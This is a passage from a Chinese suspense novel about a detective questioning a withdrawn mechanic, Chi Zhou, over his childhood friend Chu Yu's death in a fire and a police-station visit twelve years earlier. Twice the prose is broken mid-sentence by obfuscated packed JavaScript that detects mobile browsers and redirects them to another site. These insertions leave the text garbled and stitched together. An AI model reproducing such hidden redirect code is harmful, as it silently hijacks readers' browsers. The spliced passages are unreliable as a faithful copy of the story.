“我没胡说。8号晚上,准确说是9号凌晨的事,过去半个多月了。你真的不知道?” “半个多月......半个多......”迟昼的双手猛地死死绞住衣摆,指节因用力而泛白,整个人僵硬得像一台程序错乱的机器。他控制不住地急促喘息,短暂的窒息感逼出了眼角生理性的泪花。紧接着,如同系统重启完成一般,他猛地向前一步,一把揪住严疏的衣领——动作快得连严疏这个干了十几年的老刑警都未能避开。 “怎么死的!她怎么死的!”他嘶吼着,声音里满是破碎的绝望。 严疏从他血红的眼睛里,看到了熊熊燃烧的烈焰。那火仿佛要从他身体内部,将他彻底焚毁。 他是真的,不知道楚谕的死讯。严疏确信无疑。 严疏冷静地注视着他,问出了关键问题:“你最后一次见到楚谕,是什么时候?” 迟昼松开揪住他衣领的手,像被抽走所有力气般弯下腰,双手撑住膝盖,喉咙里发出沉重的喘息声,却始终沉默。 “你和楚谕,是什么关系?”严疏继续追问。 “朋友。”迟昼从牙缝里挤出两个字,依然维持着原来的姿势。 “你最后一次见到楚谕,是什么时候?”严疏重复了这个问题,语气平稳,却不容回避。 这次,迟昼缓缓蹲下身,后背抵住身后的电线杆,仿佛全身的骨骼都在一瞬间散了架。“记不清了。”他的声音沙哑,“我们不常见面。她偶尔来照顾我生意,检修,做保养,洗车。” 严疏回头望去,不远处确实有家汽修店。如果只是这样,老同学见面多聊几句确实合情合理,之前的推测或许真的想多了。他用舌尖顶了顶智齿,转回视线:“你和楚谕,是高中同学?” “我们一直是同学。”迟昼慢慢站起身,膝盖发出细微的响声。脸上的泪痕还未干透,眼睛却已没了水分,布满的血丝让他阴柔的五官透出几分狠厉:“你调查我?” “出了人命,当然要调查。”严疏敏锐地察觉到,除了最初的情绪失控,迟昼之后的反应都异常冷静,就像被骤然冰封的沸水,透着一种脆弱的压抑。 “她是怎么死的?” “火灾。” 迟昼猛地抬眼:“火......灾?” “你觉得有问题?” “我觉得?”迟昼的声音陡然拔高,“你是警察,难道不该你去查?” 那层刻意维持的冷静瞬间破碎,愤怒再次占据了他的面容。自从得知楚谕的死讯,他似乎就一直处在愤怒之中,所有情绪转换都显得生硬而不自然。 严疏凝视着他,莫名感到不适。记忆中的少年不是这样的眼神,不该是这样的气场。生活确实能改变一个人,但迟昼的改变,仿佛经历了一场......磨骨剥皮的重塑。 干了这么多年刑警,严疏自认阅人无数,此刻却发现自己完全看不透迟昼。除了最初得知死讯时的失态,这个人之后所有的冷静与愤怒,都像是场精心设计的表演。 “我会查的。”严疏拿出笔记本,目光如炬,“最后一个问题。十二年前,你十六七岁的时候,有天夜里去了河溪镇的派出所,为什么?” 话音落下,严疏紧紧盯住迟昼的脸。 那双眼睛几不可察地颤动了一下。虽然没有太大的表情变化,但他原本泛红的脸颊却好像瞬间血色尽褪,惨白如纸。 就像川剧变脸。一刹那间,就已换上了全新的面具。 但终究,还是一张面具。 “我不记得干过这种事。”迟昼回答得干脆利落,语气轻松得像在谈论天气。 严疏审视着那张波澜不惊的脸,知道今天不会再有更多进展了。“行了,感谢配合。如果后续还有问题,我再来找你。”他说完便转身走向自己的车。 就在这时,身后传来迟昼的声音,比刚才微弱了半分:“楚谕......真是意外吗?” “官方结论是意外。她没有其他亲人,后事已经由未婚夫处理完毕了。” “那你还查什么......呵。”迟昼好像恍惚了一瞬,随即发出一声冷笑,摇着头转身走进了汽修店,背影在阳光下显得异常疲惫。 表面看来,这次问话似乎一无所获。但严疏内心清楚,他已然取得了关键进展——他终于将埋藏心底十二年的疑问抛了出来。而迟昼的反应,虽然看似完美无缺,却恰恰印证了他的猜测并没有错。 那个深夜在河溪镇派出所发生的场景,至今仍清晰地印在严疏脑海里:一个惊慌失措的男孩冲进值班室,却在他开口问询的瞬间,如同惊弓之鸟般疯狂逃离。 那个男孩就是迟昼,他绝不会认错。 诚然,这件事可以有无数种平凡的解释——也许是少年间的恶作剧,也许只是走错了门。青春期的荒唐行径本就五花八门,时过境迁后根本无需隐瞒。 如果迟昼是真的忘了......可一个真正遗忘的人,在听到如此突兀的问询时,第一反应理应是困惑和反问。而不是像他这样,轻描淡写地说出“不记得”——熟练得如同经过无数次排练。 这背后一定藏着什么,严疏心知肚明。但时隔太久,若没有确凿证据,想让一个心理素质明显超出正常范畴的人开口,几乎是不可能的。 不过严疏确信,迟昼对楚谕的死确不知情。然而他最后的疑问却耐人寻味——所有与楚谕关系密切的人都接受了意外结论,反倒是这个自称“不常见面”的老同学,第一个流露出了怀疑。 严疏非常清楚,现实生活不同于悬疑剧。观看犯罪片时,人们会带着预设的怀疑去审视每个细节,即便是最为寻常的一件小事,观众也会对其加以最恶劣的猜想。但在真实世界里,除非出现明显的他杀痕迹,普通人其实很少会主动质疑意外事件。 迟昼的疑虑只有两种合理解释:要么他清楚楚谕身边潜藏着某种危险,要么他对楚谕的关心,远比他表现出来的更深。 而严疏认为,两者皆是。 ********* 得知楚谕死讯的第三天,迟昼终于从一场浑浑噩噩的昏睡中挣扎醒来。窗户上贴着的磨砂纸和厚重的窗帘联手扼杀了大部分光线,除非外面是灼目的烈日,否则屋内永远是一片将夜未夜的昏沉。 他摸过手机,屏幕显示下午四点多了。他睡了多久?最后一次有清晰的时间概念,是什么时候? 三天以来,他的意识是断裂的,记忆像被撕碎的纸片,无法拼凑成形。床边的地板上散落着外卖餐盒和泡面桶,他却想不起自己究竟吃过什么。微信里堆积着红色数字,不用点开也知道,一部分是店里同事小心翼翼的关心,另一部分则是老板不耐烦的最后通牒——再不出现,这份工作也就到此为止了。 那天,他在汽修店内看着严疏驾车离开后,便一言不发地消失了,连一声交代都没有。那一刻——不,即便是此刻——他内心的世界仍在持续崩塌。他的精神像一座沙垒的塔,在“楚谕死了”这个骇浪的冲击下一次次地溃散,而理智与本能却在疯狂否认,徒劳地试图重塑。 这种剧烈的撕扯,让他的身体沉重如山,连挪动一根手指都显得无比艰难。 算了,反正像他这样的技术工,到哪都能找碗饭吃。 可是,真的还有“以后”吗?迟昼撑着坐起身,双手用力抹过脸颊,试图驱散脑中的混沌,却始终徒劳无功。 楚谕怎么会死呢?他无论如何也想不通。 是的,死亡就是如此随意,其实毫无道理可言——一场意外,一次疾病,甚至不需要任何理由。它像无形的风,掠过谁,就是谁。 可他依然无法理解,更不愿去深想。 每个人的生命里,都会有那样一两个被默认为永恒的存在。他们像稳固的坐标,跨越时间的长河,始终定格在那里,让你从未想过会听到他们的死讯。对有些人而言,这个存在可能是父母;对另一些人,或许是某个遥不可及的明星或伟人。 而在迟昼的世界里,这个存在,就是楚谕。 更准确的说......是楚遇。 而现在,一个陌生的警察突然出现,告诉他,楚谕死了,在一场大火中化为了灰烬。 他不想承认。他不能承认。 迟昼挣扎着下床想去洗手间,刚站起一半,膝盖一软又跌坐回去。他烦躁地用力抓扯头发,一脚踢飞了地上的一个空餐盒,从喉咙深处挤出一声压抑的低吼。 就在这时,一阵轻快而清晰的敲门声传了进来。 ———————————— 他眯着眼,茫然地转头,望向那扇离床不远,此刻却仿佛隔着重山万水的门。他租的是间一居室,卧室兼做客厅,厨房和卫生间都相当袖珍。敲门声固执地持续着,迟昼只好缓缓站起身,一步步挪向大门,动作不知为何带着几分鬼祟。 “我知道你在家,开门!”一个明亮却带着些微哑的女声伴随着敲门声响起,像一道强光,骤然刺入他昏暗的世界。 顷刻间,一股难以言喻的力量在他死寂的四肢里炸开。他像疯了一样扑到门前,手刚握住冰凉的门把,就听见门外的女声继续说道: “是我!快开门,我提了好多东西,重死了!” 这是......简宁? 是简宁...... 迟昼握在门把上的手猛地收紧,又无力地松开,眉头死死拧在一起。 他几乎忘了,简宁之前是这里的常客。他抬起沉重的头颅,才看到墙面的挂钩上,确实挂着一个属于女孩的、毛绒绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352887|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钥匙扣,厕所门上也贴着几张与他格格不入的卡通贴纸,是大耳朵图图。 那天不欢而散之后,简宁再未出现,他还以为她终于被说服,彻底放弃,再也不愿与他纠缠了。 可是,刚才那个微哑的声音...... 门刚打开一道缝,屋外炽烈的白光便如实质般刺入,迟昼下意识抬手遮挡,感觉自己像一具在阴暗角落里发霉腐朽的残骸。简宁却已提着大包小包,灵活地从他身侧挤进了屋。 “慢死了!你不会这个点儿还在睡吧?”她的嗓音像一把刀子,划破了屋内的死寂。随即传来她带着嫌弃的惊呼,“天哪!你这儿是遭了劫吗?窗帘也不拉开,闷死人了!” “哗啦——” 窗帘被猛地扯开,夏日午后过于饱满的光线瞬间涌入,驱散了满室晦暗,也清晰地照亮了站在窗边的简宁。 迟昼仍僵立在门口,只是缓缓转过头,目光怔怔地望着简宁。他的大脑仿佛停止了运转,身体却在本能下微微震颤,全身的毛孔都在失控地张合。他听见了自己的呼吸,粗重得如同濒死的哮喘病人。 简宁对此毫无察觉。她利落地将手里的袋子放进厨房,顺手抄起扫帚和簸箕,开始熟练地清理满地的狼藉。 迟昼的目光看向那头深棕色的短发,微卷,习惯性地将一侧别在耳后。耳朵上那枚闪亮的钻石耳钉——当然是街边小摊的制品——也是她常戴的。她的脸庞白皙,点缀着几颗浅淡的雀斑,显得生动自然,整张脸干净得找不到一颗多余的痣。 迟昼像根木桩般钉在原地,双眼一眨不眨地追随着她的身影。看着那在光影中忙碌的、鲜活的轮廓,他感到眼眶在不受控制地发热、湿润,如同一个在无尽黑暗中迷途已久,却突然窥见一丝微光的孩子。 内心那座彻底崩塌的沙塔,此刻开始疯狂地自我重塑,沙砾飞速回拢,勉强垒出了原有的形状。只是塔身布满了纵横交错的裂痕,看似屹立,却不知为何,总透着一种摇摇欲坠的脆弱。 “愣着干什么?”简宁抬起头,看到他失魂落魄的样子,忽然恍然大悟。她抬手撩起额前的刘海,露出两条略显红肿的眉毛,“是不是看我觉得别扭?我新纹了眉毛,以后就不用每天画了,省事多了。” 是眉毛的原因啊。迟昼迟钝的脑子缓慢地转动着,努力回忆着。 记忆里,简宁的眉毛确实有些稀疏,画眉技术也时好时坏。而此刻,这两条被纹绣定格的眉毛,粗黑分明,让她的五官瞬间清晰锐利了不少。 但好像......又不只是因为眉毛。他仍旧木然,只是极其轻微地点了点头。 “你去把垃圾倒了吧,”简宁将装满的垃圾桶和簸箕塞到他手里,“我去收拾鱼。” 房门还敞开着,强烈的光线长驱直入,他甚至能看清简宁鼻尖上细小的毛孔。或许是在黑暗中蜷缩了太久,在这炎夏暖融的日光下,他竟猛地打了一个寒颤。 等迟昼倒完垃圾回来,简宁已经在厨房里处理那条鱼了。刚刚离水的鱼生命力顽强,在案板上奋力扭动,却被她利落地提起,用刀背“砰砰”两下精准敲晕,随即刮鳞、剖腹,动作一气呵成。 她一直是个能干且不乏狠劲的姑娘,迟昼是知道的。 “来的路上看见有人开着车在卖,只剩最后几条了,新鲜得很,我和一位路过的奶奶就给包圆了。咱一条熬汤,剩下的红烧,怎么样?”简宁扭过头,对他露出一个明亮的笑容。 “听你的。”迟昼被那笑容晃了下神,用力吞咽了一下,喉结滚动,这才想起来要说什么:“你这些天......干什么去了?” “哪些天?” “就......那天之后,一直到今天。” 简宁扁了扁嘴,发出一声意味不明的轻哼,在水流下冲洗着沾了鱼血和银鳞的刀子,语气带着点嗔怪:“怎么?发生了那种事,还不许我生几天气吗?” “哪种事?”迟昼的脑袋仍是懵的,一片空白之中,第一个冒出来的念头,竟然是楚谕的死。 “你明知故问啊!”简宁撩起一点水花溅他,“当然是被当成别人针对,我差点被吓死!最可笑的是被当成自己的情敌,最后还被情敌给救了。这事你不是知道的吗!” 迟昼含糊地“嗯”着,接着问:“然后呢?” “然后她和我说了些话,我就回家了。” “你们在哪儿聊的?你去她家了?” 简宁一个个打开柜门找熬汤的香料,把迟昼往边上推了推:“我去她家干什么,我没一会儿就醒了,在她车上说了几句。然后我就下车回家了,她要送,但我没让。” 说着说着,简宁觉出了不对,直起身纳闷地看着迟昼:“不对啊,你不是应该在意我俩说了什么吗?我去没去过她家重要吗?”见迟昼仍杵在原地,她懒得等,便转身继续干活了。 迟昼看着简宁的背影,忽然开口:“楚谕死了。” “嗯?”简宁“啪啪啪”三刀截出葱段,才突然松开握刀的手转过身:“啊?你说谁死了?” 迟昼紧紧盯着她,这个举动完全是跟随本能。 简宁脸上挂着真实的疑惑。她和楚谕本就没什么交情,自然不必有多大的震动。 “楚谕死了。9号凌晨,应该就在和你分开之后。” “怎么死的?”简宁拿抹布反复擦着手,逐渐靠近迟昼。 “说是火灾。” “怪不得,”简宁抬手覆上迟昼撑在灶台上的手背,脸上只浮现出一丝面对世事无常的凄然,“之前我去店里找过你,他们说你好几天没来上班了,我放心不下才过来的。原来是她出事了啊。” 迟昼张了张嘴:“我......” “好了,我不是在吃醋。”简宁伸长双臂搭在迟昼肩上,仰头直视他的眼睛,一字一顿地说,“不过呢,不能低沉太久。因为你的后半生是我的了,我已经把你,从她那里抢回来了。” 换作以往,迟昼应该会笑。可如今他看着简宁那双眼尾长长的桃花眼,嘴角却不知为何仿佛有千斤重,怎么也提不起来。 他的眼睛渐渐湿润了。他心中那座刚刚重塑的沙塔,仿佛正被无形的力量推动,开始缓慢地、持续地向一侧倾斜。每一粒沙都在移位,虽未溃散,却沉甸甸地压迫着他的心脏,带来一种近乎窒息的钝痛。 简宁敏锐地感知到了这份无声的坍塌。她收拢双臂,踮起脚尖,目光深深地探入他蒙尘的眼底,声音轻得像一场温柔的催眠:“没事了,都过去了。你还有我,你看,我回来了。” 迟昼闭了闭眼,将喉间的涩意压下:“先做饭吧。有什么我能帮忙的吗?”他边说边不动声色地后退一步,离开了她的怀抱。 简宁顺着他的力道松开手:“帮我烧点水吧。哎,回头还是买台饮水机吧,太不方便了。” 煤气炉只有一个眼是好的,另一个徒劳地发出“咔哒”声,却始终不见火苗。折腾了半晌,简宁重重叹了口气。 迟昼从火柴盒里掏出一根火柴划着,往已经开气的灶眼上一丢,幽蓝的火焰立刻窜起,如同一个骤然复苏的生命。他把装满水的水壶放在上面,无意识地注视着跳动的火焰,开口道:“这个灶台......该检修一下了。” 简宁笑了笑,指了指另一边正炖着汤的、稳定燃烧的灶眼:“其实只要能燃起来,也没什么区别。” 6. 陆 饭菜准备了许久,熬汤与红烧都极费工夫,但出锅时的香气确实足以慰藉等待。只是简宁看不惯餐桌上的薄尘,上菜前用滚水烫过的抹布反复擦拭了好几遍。 其实那张靠墙的桌子在迟昼独居时基本闲置,上面顶多积了些许尘埃和空气中飘落的絮绒,简宁从前也并非这般苛求洁净,两人经常叫了外卖,随便找个地方摊开就吃。许是这次被他屋里弥漫的颓败气息惊到,她看哪里都觉得蒙着一层看不见的灰,非要擦到锃亮才肯罢休。 “先喝碗汤,暖暖胃。”简宁盛了满满一碗奶白色的鲫鱼汤,推到迟昼面前。她自己却不急着动,而是用那双不容回避的眼睛直直地望着他,目光里带着一种近乎灼热的期待。 迟昼知道自己无法拒绝,只得在她的注视下舀起一勺送入口中,舌尖立刻被烫得发麻。 “嗯,好喝。”他停下动作,勉强牵起一丝笑容。 仔细想想,简宁似乎以前也常烧鱼。是什么味道来着?他竟一点也想不起来了。他向来对吃食不甚在意。 或许是因为连续三天的浑噩颠倒,此刻他只觉面前这一餐格外美味。记忆中简宁做过的菜肴,仿佛都没有眼前这顿来得深刻。 “对了,”饭至中途,简宁随意地问起,“是谁告诉你消息的?” 迟昼知道她指的是楚谕的死讯,喉结上下滚动了一下,艰难地吐出一根细刺,才低声道:“一个警察。” 简宁有些意外:“警察怎么会找你?” 迟昼摇了摇头。 “她不是有未婚夫?” “找过了,人......已经下葬了。”他顿了顿,声音愈发干涩,“我也不知道,他为什么会来找我。” 话音落下,严疏那张严肃的脸和那句冰冷的问询,又不期然地撞入脑海。 那个十二年前的夜晚。 那个......他跑进派出所的夜晚。 他当然记得。他怎么可能忘。 他只是不明白,为何那个警察竟也记得,又为何在此时旧事重提。他原以为,那件往事早已被时光埋葬,是独属于他们的秘密。 为什么有些秘密,越想埋葬,就越引人探寻? 难道说,需要付出代价的真相,才更引人注目? “哎......”简宁捧着汤碗,氤氲的热气模糊了她的面容,“也是可怜,年纪轻轻的。我虽然嫉妒过她,但不得不承认,她是个坦荡的人。” 迟昼的筷子骤然停在半空。他抬起头,质问一般道:“那天......你们究竟说了什么?” “我刚醒过来时,确实被吓坏了。她道了歉,说宋晴是被家里宠坏的孩子,有点兄控,做事不知轻重。”简宁耸了耸肩,语气轻描淡写,仿佛在讲述与己无关的故事,“她说宋家是书香门第,这种事传出去不好听,恳请我不要追究。后来还要给我赔偿,但我没要。” “然后呢?” “先吃饭,都要凉了。”简宁给他碗里夹了一大块鱼肉,看着他重新拿起筷子,才继续道,“后来她和我聊了聊心里话,提到了你们从前的事。她说小时候确实很亲近你,但也不确定那是不是真正的喜欢——毕竟那时候,她身边只有你一个人。但现在......她有她的男朋友,也重新认识了什么叫‘感情’。” 说到这,简宁放下了筷子,望向迟昼:“她最大的愿望,就是活得像别人一样,有个温暖的家,过简单平静的生活。所以,谁也不能阻挡他们走下去。” 不清楚是不是真正的喜欢、像别人一样......温暖的家、简单的生活...... 这确实是楚谕会说的话。每一个字,都像她亲手写下的注脚。 迟昼安静地听着,心头却涌起一阵阵恍惚。他的眼睛看着简宁开合的唇,耳朵接收着那微哑的声音,却总觉得这一切都隔着层不真实的薄雾。 一片混沌之中,他忽然有了片刻清明——根据简宁的转述,楚谕的措辞是“男朋友”...... 可他们......不是已经订婚了吗? 迟昼的心跳骤然紊乱。 这句话......好像有些错位。 但他依旧低着头,生怕简宁察觉异样一般,没有开口询问。 饭后,简宁没有立即离开,而是这里收拾那里清理,不知不觉已是夜深。这原本很正常,作为男女朋友,简宁以前常在这里过夜,换洗衣物都留了几套。 但今晚,迟昼心底涌起了强烈的抗拒。 在此刻,他无法想象与简宁同床共枕。光是这个念头,就让他全身僵硬。 “我知道你心情还没平复,就不留下打扰你了。”简宁似乎看出了他的不自在,临近深夜时主动提出了离开。临走前,她坐在床沿,凝视着迟昼的眼睛:“工作要是不想去就别去了,以后再找。但要记得好好吃饭,我在冰箱里给你备了些速食。泡面也有,但不能天天吃。” 她轻轻捧起迟昼的脸,唇角弯起温柔的弧度:“我会随时来检查的哦?” 听到简宁要走,迟昼暗自松了口气,努力牵起一个笑容。这个笑容驱散了些许环绕周身的阴郁,竟隐约间找回了几分年少时的清俊:“好。” 望着他的笑容,简宁的目光几不可察地凝滞了一瞬。片刻之后,她俯身,在迟昼的脸颊落下一个轻吻。 像是被无形的电流猛地贯穿后颈,迟昼脸上的笑容瞬间冻结。一股寒意从脊椎直冲头顶,他几乎要抽搐着倒下,只能用尽全身力气克制——右手在身后死死攥紧床单,指节泛白,整个人僵硬得如同一尊突然石化的雕像。 无数画面在这一刻如幽灵般闪现、交织—— 从最初的脸颊相贴,到刚刚印在面庞上的吻。记忆的碎片疯狂翻涌,几乎要将他撕裂。 眼眶开始不受控制地发热,他将脸转向墙壁,不敢让她看见自己即将决堤的情绪。 迟昼听着她的脚步声走向门口,听着门把手被轻轻转动。 就在门即将合上的那一瞬,他终于从牙缝里挤出一句话。 “阿姨......最近还好吗?” 门边的脚步声停了。简宁没有回头,沉默在空气中凝结了两秒,才传来她的回答:“还是老样子。” 不知是不是因为走廊空旷的回音,她的声音似乎比刚才低沉了许多。 “砰”的一声,门被关上。脚步声渐行渐远,最终消失在了楼道尽头。 迟昼又等了很久,才缓缓转过头。房间里确实只剩下了他一个人,可一种如芒刺背的冰冷却紧紧缠绕着他。他裹紧了被子,那寒意却如影随形,钻入骨髓。 一直咬紧的牙关突然松开,下颌因过度用力而阵阵发麻。迟昼将脸深深埋进掌心,压抑许久的哭声终于冲破喉咙,逐渐变成嘶哑的嚎啕。 当夜,迟昼翻出了所有与楚谕有关的东西。幸好屋子不大,没让他费太多力气。来来回回巡视了好几遍,把每个抽屉、每个柜子都彻底打开,确认没有任何遗漏后,他才将那些零零碎碎的物品拢到地板上,盘腿坐在了这一小堆回忆旁边。 他拥有的关于楚谕的实物其实少得可怜——几张无关紧要的学生时代贺卡,一些她的发卡、头绳,几本她借给他却再也没要回去的书,几根早已过期的棒棒糖......都是些微不足道的琐碎物品。 分离的漫长日子里,他一直留着这些东西。 可现在......好像没必要了。 迟昼拾起一张泛黄的贺卡,划亮火柴,看着火苗舔上纸页。他松开手,任由它垂直坠落。烟灰缸里的物件在火焰中逐渐扭曲、焦黑,他却只是怔怔地看着,任凭双眼被熏得通红,也浑然不觉。 跳动的火焰倒映在他漆黑的瞳孔里,映出一片猩红的光。 烧吧,都烧了吧。 最好连他一起焚烧殆尽,就像十二年前的那场大火一样,这样反倒干净。 该死的本就是他。因为楚谕,他虽然留在了这尘世,却也从此迷失了方向。 烟灰缸里的火焰渐渐微弱,最后一丝火苗挣扎着熄灭。迟昼抬起手,用力按住酸胀发烫的双眼。 如今,楚谕又一次让他迷失了前路。 往后余生,他不知该何去何从。 ********* 第二天一早,迟昼顶着浓重得近乎夸张的黑眼圈,准备去汽修店办理离职。他脑中乱麻一团,根本无法专注工作——既怕修车时留下隐患害了别人,又怕精神恍惚支不稳千斤顶害了自己。前路虽然迷茫,但现在显然还不是死的时候。 刚走到楼梯口,竟迎面撞见正上楼的严疏。迟昼喉头一紧,下意识地吞咽。 “哟,这么早?吃早点了没?”严疏晃了晃手里拎着的豆浆油条,语气自然得像是在自家楼道里招呼邻居。 “有事吗?我赶着上班。” “还上什么班啊,人家已经把你开了。我刚从你店里过来,你们那个店长还是老板,骂骂咧咧数落了你半天。”严疏站在楼梯口左右张望,扭头问,“哪间是你屋?” 迟昼深吸一口气,只得转身带路。开门进屋后,严疏把早点往桌上一放,生硬地招呼:“来来,趁热吃!” “直说吧,你到底想干什么?”迟昼在床沿坐下,双手交握搁在膝上,目光垂向地砖缺失的一角。 “那天看你状态不对,就去你店里问问情况,结果听说你好几天没露面,就要了地址过来看看。”严疏咬了口油饼,咔嚓作响,“万一你想不开死在屋里,我这不是造孽吗!” 迟昼心知这不是真话,却已无心计较,只盼他尽快离开。瞥了眼时钟,简宁随时会来,若让这执拗的警察撞见,麻烦就大了。 “我没事,看过了就请回吧。我还要去办离职手续。” “吃完就走。你真不吃?”严疏边说边递上一根烟,被拒绝后随手放在了床头,借着动作,视线已将屋内扫了个遍。 这是个普通工薪阶层的独居屋,比合租房或职工宿舍好些,却透着不该属于“家”的荒芜感——显然,迟昼对这里的需求,仅限于睡觉。 突然,严疏的目光定格在墙边那双摆放规整的粉色拖鞋上。他眯起眼,抬了抬下巴:“交女朋友了?” 迟昼顺着他的视线看去,下颌线微微绷起,点了点头。 “不是我说你......”严疏嚼着油饼,含糊的声音让质问听起来像闲谈,“你有女朋友,楚谕有未婚夫。你俩这还纠缠不清,图个什么?” “我们不是你想的那种关系。”迟昼答得干脆,语气平静到近乎冷漠。但严疏却敏锐地察觉到,相比前几天初见时的面具,此刻的他更像是......进入了某种深度戒备的状态。 “少来这套。男男女女那点事,我见多了!”严疏扯了张纸巾擦手——他其实鲜少接触这类情感纠葛,此刻不过是在模仿那天宋晴的语气,“你女朋友呢?不住这儿?” 迟昼一眼看穿了他生硬的表演——带着目的的“闲聊”,让这份不熟练显得格外突兀。他皱起眉,声音冷了下来:“怎么?你还想找我女朋友问话?人已经死了,你也亲口说是意外,现在还想查什么?难道警察找人问话,连个正当理由都不需要了?” “别紧张,我没说要找她。”严疏慢条斯理地叠着纸巾,“虽然,如果这真是桩命案,感情纠葛肯定是重点调查方向。但你说得对——现在还不是,对吧?” 严疏说着,突然猛地拉过椅子靠近迟昼。椅腿在瓷砖上划出刺耳的锐响,像刀子般扎进迟昼的太阳穴。 他调整成一个警方审讯时惯用的、极具压迫感的坐姿,继续说道:“再者说,楚谕和她未婚夫感情稳定。如果真是情杀,你的嫌疑......可比那位未婚夫大得多。” 不知是不是错觉,迟昼总觉得那个“你”字被咬得格外用力,像一颗被刻意按进泥土的钉子。 他终于抬起眼,迎上严疏的视线。 时间仿佛在这一刻被无限拉长。两个人都屏着呼吸,无数念头在脑海中翻滚冲撞——都想撕开对方的伪装,看透彼此最深的执念,却又都不肯率先出手,生怕露出丝毫破绽。 僵持中,严疏略感诧异地发现,自己十几年刑侦生涯磨砺出的凌厉气场,在对方那潭死水般的沉寂面前,竟然几乎无从着力。但这并未让他挫败,反而激起了更深的探究欲——能和一个摸爬滚打多年的老刑警在气势上分庭抗礼的,绝非常人。 严疏慢慢收起了那层表演拙劣的玩世不恭,恢复了惯常的冷峻。他眼神渐锐,向前探身,双肘压在膝上,目光如钩,锁住迟昼的双眼。 迟昼抬眸,不闪不避。此刻,两双眼睛完全平视,中间仅隔着一拳的距离。 这是一场无声的宣战,即便两人的身体都纹丝未动。 “你相信......”严疏再次开口,重复了那个核心问题:“楚谕死于意外吗?” 迟昼的脸上依旧波澜不惊,只淡淡道:“我信与不信,重要吗?” “你还记得楚谕的母亲是怎么死的吗?” “煤气爆炸。” “母女二人,以同样的方式葬身火海,是不是太巧了?” “每年死于煤气爆炸的人,很多。” 严疏盯着那张毫无破绽的脸,忽然嗤笑一声:“看来当年的事,你记得很清楚嘛。”随即他话锋陡转,脸上那点虚假的笑意瞬间冻结消失:“那怎么偏偏就不记得自己去过派出所?需要我帮你回忆一下吗?” 他紧紧攫住迟昼的视线,不肯放过任何一丝细微的波动:“那天是15号。也许你的确忘记了具体日期,那我不妨换个说法——” 迟昼的呼吸几不可察地一滞。他清楚地知道严疏接下来要说什么,而对方开口的每一个字,都精准地指向了他试图掩埋的过往。 “就是楚谕母亲葬身火海的那一天。” 严疏紧紧盯着对方,期盼能捕捉到一丝裂痕,却失望地发现眼前这人仿佛失去了情绪波动的能力,始终如同一堵密不透风的墙。 迟昼依旧维持着那副生硬的表情,只是声音里添了几分不耐:“我说过,我不记得这件事。你肯定是认错人了。” 严疏向后靠进椅背,姿态突然松懈下来,再开口时略带讥诮:“也许吧。我承认,人的记忆有时候确实靠不住。但有些事......我绝不会记错。” 他的目光从迟昼身上移开,语气里带着几分恨铁不成钢的感慨:“我还记得,当年你是镇上成绩最拔尖的高中生。你们老师拍着胸脯向警察保证你是个好苗子,生怕那件事耽误了你的前程。照理说,你该考上名牌大学才对。”他刻意停顿,视线扫过这间窄小的屋子,“怎么,大学读的汽修专业?” “这算什么?”迟昼反而笑了,“警察同志,看不起劳动人民?” “哎,这帽子我可戴不起。” 严疏直起身,重新拉开两人之间的距离。紧绷的气氛骤然松弛,迟昼的表情却依旧纹丝不动,比起对面那位明显不擅交际的刑警,甚至显得更加游刃有余。他拖长了语调,像在叹息:“高考失利的原因多了去了。家里又不宽裕,上个普通大学,是能顶个大学生的名头,可四年的学费也不是小数目。索性不念了,读个职专学门手艺,好赖有口饭吃。小地方出来的人,这样选择不是很正常吗?” 严疏点了点头,忽然转了话题:“其实咱俩也算老乡。我是石桥镇的,开车到河溪也就两小时。” 面对这突如其来的套近乎,迟昼不为所动,只“嗯”了一声算是回应,随即反问:“还有什么事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352888|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严疏那本就僵硬的脸色彻底沉了下来。他双手一拍膝盖站起身,意味不明地连连点头:“行,迟昼,你行。”一边说,一边朝门口走去。他猛地拉开门,却又回头:“如果哪天想起什么,随时来找我。” 说完往外迈了一步,半只脚还在门内,又补上一句:“要是店里扣你的工资和赔付,也可以找我。” 房门合拢的瞬间,迟昼缓缓吐出一口浊气。直到这时他才意识到,在刚才漫长的对峙中,自己几乎忘记了呼吸。 他摇了摇头,只觉得这个警察执拗的莫名其妙,甚至有点可笑。 严疏语气里那点惋惜他听得明白。事实上,自从背井离乡以来,他常在故人口中听到类似的叹息。 是在为他惋惜?还是仅仅为了展现对“命运无常”的廉价感慨? 他不需要这样的喟叹。他人生的舵轮,早在很久以前,就交到了另一个人手中。 ********* 严疏快步走出那栋居民楼,思绪却像被蛛网缠住,难以理清。楼下的垃圾桶早已满溢,在盛夏的闷热中散发着腐败的酸臭。他漫无目的地走着,所幸街上行人稀少,容他一边踱步一边沉思。 迟昼这个人,远比他想象的复杂。这是个充满矛盾的存在。 从外表看,他像是被生活磨平了棱角的年轻人——明明底子不差,却连收拾自己的心气都已丧失。内里更是难以捉摸:看似无甚想法,随波逐流,宛若无根浮萍,可骨子里却莫名坚硬如铁,即便与老刑警对峙也丝毫不落下风。 或许可以简单地将他归类为“破罐破摔”。但就在刚才,在极近的距离对视时,严疏清楚地意识到——这个人的内核并未崩塌。 或者说,以一种奇特的方式进行了重塑。 那日听完宋晴的叙述,严疏曾推测楚谕对迟昼而言意义非凡,二人之间或许存在着某种隐秘的守护关系。正因如此,他料定迟昼在得知楚谕死讯后会崩溃,去过汽修店后更是确信不疑,这才追到对方家中,企图击碎他的防御,从中获取线索。 